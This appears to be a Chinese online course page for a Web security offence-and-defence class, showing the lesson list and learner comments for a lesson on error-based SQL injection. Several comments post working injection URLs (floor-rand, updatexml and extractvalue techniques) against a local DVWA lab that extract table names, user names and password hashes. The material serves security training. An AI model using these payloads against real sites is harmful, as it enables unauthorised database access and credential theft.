Web 安全攻防实战
王昊天
螣龙安科创始人兼 CEO
25016 人已学习
新⼈⾸单¥68
课程目录
已完结/共 106 讲
第二章:Web安全之后端安全 (46讲)
Web 安全攻防实战
登录|注册
留言
10
收藏
沉浸
阅读
分享
手机端
回顶部
当前播放: 27 | SQL注入实战:实施报错注入攻击
00:00 / 00:00
高清
  • 高清
1.0x
  • 2.0x
  • 1.5x
  • 1.25x
  • 1.0x
  • 0.75x
  • 0.5x
网页全屏
全屏
00:00
付费课程,可试看
01 | 课程介绍
02 | 内容综述
03 | Web安全前端基础:HTML
04 | Web安全前端基础:CSS、JavaScript
05 | 探究网站的运作原理:用Python写一个简单的Web App
06 | Web框架的运作原理:用Django快速搭建一个网站
07 | HTTP协议是怎么工作的?
08 | 常见的Web安全漏洞都有哪些?
09 | Web渗透工具入门:Burp Suite、cURL、Postman
10 | Web渗透插件入门:Wappalyzer、HackBar
11 | 文件上传漏洞:漏洞原理&一句话木马
12 | 文件上传漏洞初阶:后缀名绕过&原理探究
13 | 文件上传漏洞中阶:前端验证绕过、.htaccess绕过、大小写绕过
14 | 文件上传漏洞高阶:文件流绕过、字符串截断绕过、文件头检测绕过
15 | 文件上传漏洞:初探源码审计
16 | 文件上传漏洞:初探Fuzz
17 | Web安全后端基础:数据库的基本概念
18 | Web安全后端基础:极简MySQL入门
19 | SQL注入漏洞的原理及其危害
20 | 从协议视角看注入:GET型注入攻击及防御
21 | 从协议视角看注入:POST型注入攻击及防御
22 | SQL注入实战:判断SQL注入点&防御方式
23 | 宏观视角看注入:5种不同的SQL注入类型
24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
25 | SQL注入实战:隐蔽的HTTP头盲注
26 | SQL注入实战:利用数据库的bug进行报错注入
27 | SQL注入实战:实施报错注入攻击
28 | SQL注入实战:威力巨大的堆叠注入
29 | SQL注入实战:游离在常规分类外的OOB注入
30 | SQL注入实战:浅谈OOB注入原理
31 | SQL注入实战:OOB注入之环境准备
32 | SQL注入实战:OOB注入关键函数解析之load_file
33 | SQL注入实战:实施OOB注入攻击
34 | SQL注入实战:如何绕过WAF之混淆注入原理
35 | SQL注入实战:如何绕过WAF之union、where、limit过滤绕过
36 | SQL注入实战:如何绕过WAF之group by、select、单引号、hex、unhex、substr绕过
37 | SQL注入实战:如何绕过WAF之空格、等号、双写、双重编码绕过
38 | SQL注入实战:如何绕过WAF之数据库底层编码注入攻击
39 | SQL注入实战:如何绕过WAF之二次注入攻击
40 | SQL注入实战:激动人心的命令执行
41 | SQL注入实战:webshell类型命令执行与交互
42 | SQL注入实战:UDF类型命令执行与交互
43 | SQL注入实战:玩转Linux权限管理之用户和组
44 | SQL注入实战:玩转Linux权限管理之文件权限
45 | SQL注入实战:自动化注入攻击之了解sqlmap
46 | SQL注入实战:玩转sqlmap之携带cookie
47 | SQL注入实战:玩转sqlmap之通过level设定检测深度
48 | SQL注入实战:玩转 sqlmap之读写server文件
49 | SQL注入实战:玩转sqlmap之实战脱库
50 | SQL注入实战:自动化注入攻击之FuzzDB+Burp组合拳
51 | SQL注入实战:欣赏优秀的Web后门之核心功能
52 | SQL注入实战:欣赏优秀的Web后门之免杀
53 | SQL注入实战:面向NoSQL数据库的注入攻击
54 | SQL注入实战:浅谈SQL注入防御方式及原理之预编译
55 | SQL注入实战:浅谈SQL注入防御方式及原理之过滤
56 | 加密算法与随机数
57 | Spring框架安全攻击和防御 - 什么是框架级漏洞
58 | Spring框架安全攻击和防御 - CVE-2017-8046利用
59 | Spring框架安全攻击和防御 - CVE-2017-8046分析
60 | 反射型XSS漏洞原理、案例及防御措施
61 | 存储型XSS漏洞原理、案例及防御措施
62 | DOM型XSS漏洞原理、案例及防御措施
63 | 伪协议与编码绕过
64 | XSS蠕虫实战案例分析
65 | XSS混淆编码
66 | CSRF跨站请求伪造漏洞原理、攻击演练
67 | 同源策略及跨源访问
68 | XSS及CSRF综合利用案例分析:点击劫持
69 | HTML5新标签及相应的安全分析(一)
70 | HTML5新标签及相应的安全分析(二)
71 | XSS之模板注入 - 初探Node.js模板引擎
72 | XSS之模板注入 - 模板引擎与XSS的关系
73 | XSS之模板注入 - 经典注入手法
74 | Javascript与RCE(远程代码执行)
75 | BlackHat议题追踪:XSS的危害不够大? - 构造攻击链
76 | BlackHat议题追踪:XSS的危害不够大? - CSRF到XSS
77 | BlackHat议题追踪:XSS的危害不够大? - XSS到RCE
78 | SSRF服务端请求伪造
79 | Apache安全专题 - 配置错误诱发的漏洞
80 | Apache安全专题 - CVE-2017-15715
81 | Nginx安全专题 - CRLF注入攻击
82 | Nginx安全专题 - CVE-2017-7529
83 | Tomcat安全专题
84 | PHP安全专题:了解PHP环境
85 | PHP安全专题:远程(本地)文件包含
86 | PHP安全专题:学习黑魔法函数
87 | PHP安全专题:序列化及反序列化漏洞
88 | PHP安全专题:浅谈PHP安全编码
89 | Java Web安全专题:Java Web基础
90 | Java Web安全专题:浅谈代码审计思路
91 | Node.js安全专题:Node.js基础
92 | Node.js安全专题:Express及其组件
93 | Node.js安全专题:Node.js安全开发技术
94 | Node.js安全专题:Node.js漏洞审计
95 | DDoS之协议层拒绝服务攻击:SYN泛洪、UDP泛洪、ICMP泛洪
96 | DDoS之应用层拒绝服务攻击:Slowloris攻击、HTTP Post DoS
97 | 如何做好认证与会话管理?
98 | 访问控制:水平权限&垂直权限
99 | 互联网公司运营安全、业务安全、业务逻辑安全策略规范
100 | 如何做好用户隐私保护?—— 开发者视角
101 | 如何做好用户隐私保护?—— 用户体验及产品设计视角
102 | 网络钓鱼防范:钓鱼网站、邮件钓鱼的防控
103 | 怎样建立安全开发流程(SDL)?
104 | 漏洞修补应当遵循怎样的流程?
105 | 如何建立安全监控规范?
106 | 结束语
本节摘要
登录 后留言

全部留言(10)

  • 最新
  • 精选
SHIXU
floor报错注入 数据库名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 表名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema='dvwa' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema='dvwa' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 列名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_name='users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_name='users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 账号名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user,0x7e))) from dvwa.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 密码 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,password,0x7e))) from dvwa.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit#

作者回复: (๑•̀ㅂ•́)و✧4棒

2021-08-04
2
Phantom Thief KID
老师,我输入 ‘ 不报错,难道是因为我的靶场版本不一样?

作者回复: 我们靶场与课程适配修改过,达到同样效果使用课程提供靶场

2021-07-26
2
Mrw
获取不到docker了,请求被拒了不知道是不是老师那边关闭了

作者回复: 课程中的镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker search <镜像名> docker pull ... docker run ...

2021-02-10
2
Kevin⚡️Zhou
Firefox下有一款小工具叫FoxyProxy, 推荐给大家, 可以通过插件栏一键toggle proxy开闭, 比较方便

作者回复: ������

2020-07-27
3
Kevin⚡️Zhou
通过floor报错的一种思路: http://127.0.0.1:81/vulnerabilities/sqli/?id=' union select 1,2 from (select count(*), concat((select table_name from information_schema.tables where table_schema='dvwa' limit 2, 1), floor(rand(0)*2))x from information_schema.tables group by x)a -- &Submit=Submit#

作者回复: ������

2020-07-27
CoffeeMilk
dvwa靶场环境可参考《https://blog.csdn.net/xiaochenXIHUA/article/details/128843792?spm=1001.2014.3001.5501》搭建; 或参考docker官网搭建:https://hub.docker.com/r/vulnerables/web-dvwa 以【updatexml】函数为例: ①获取用户信息:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select user())),1) -- &Submit=Submit# ②获取用户、数据库信息:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select user()),0x7e,(select database())),1) -- &Submit=Submit# ③分别获取各个表名称1:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) -- &Submit=Submit# ④获取表字段名称2:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1)),1) -- &Submit=Submit# 获取表字段名称3:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),1) -- &Submit=Submit# ⑤获取对应字段的内容:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),1,60) from dvwa.users limit 0,1)),1) -- &Submit=Submit# ⑥解决拼接的字符串不完整:http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),1,30) from dvwa.users limit 0,1)),1) -- &Submit=Submit# http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),30,30) from dvwa.users limit 0,1)),1) -- &Submit=Submit#
2023-02-08
tendy
mid()函数一次性截取完也是可以的? ?id=' and extractvalue(1, mid(concat(0x7e,(select password from dvwa.users limit 0,1)),1,40)) -- &Submit=Submit# 得到 XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf9'
2022-07-02
张鉴
新容器无法下载,错误如下。 Error response from daemon: pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/dvwa, repository does not exist or may require 'docker login': denied: requested access to the resource is denied
2022-05-10
一颗胖杉🍧
新的容器,怎么无法下载了呢?
2021-03-01
1
Geek_156d61
1.使用updatexml进行报错注入 http://192.168.0.108/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1),0x7e),1) --+&Submit=Submit# 2.updatexml同样只能带出31位密码,仍然使用mid()进行截取带出 http://192.168.0.108/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,mid(concat(0x7e,(select password from users limit 0,1),0x7e),1,29),1) --+&Submit=Submit#
2020-11-15
1
收起评论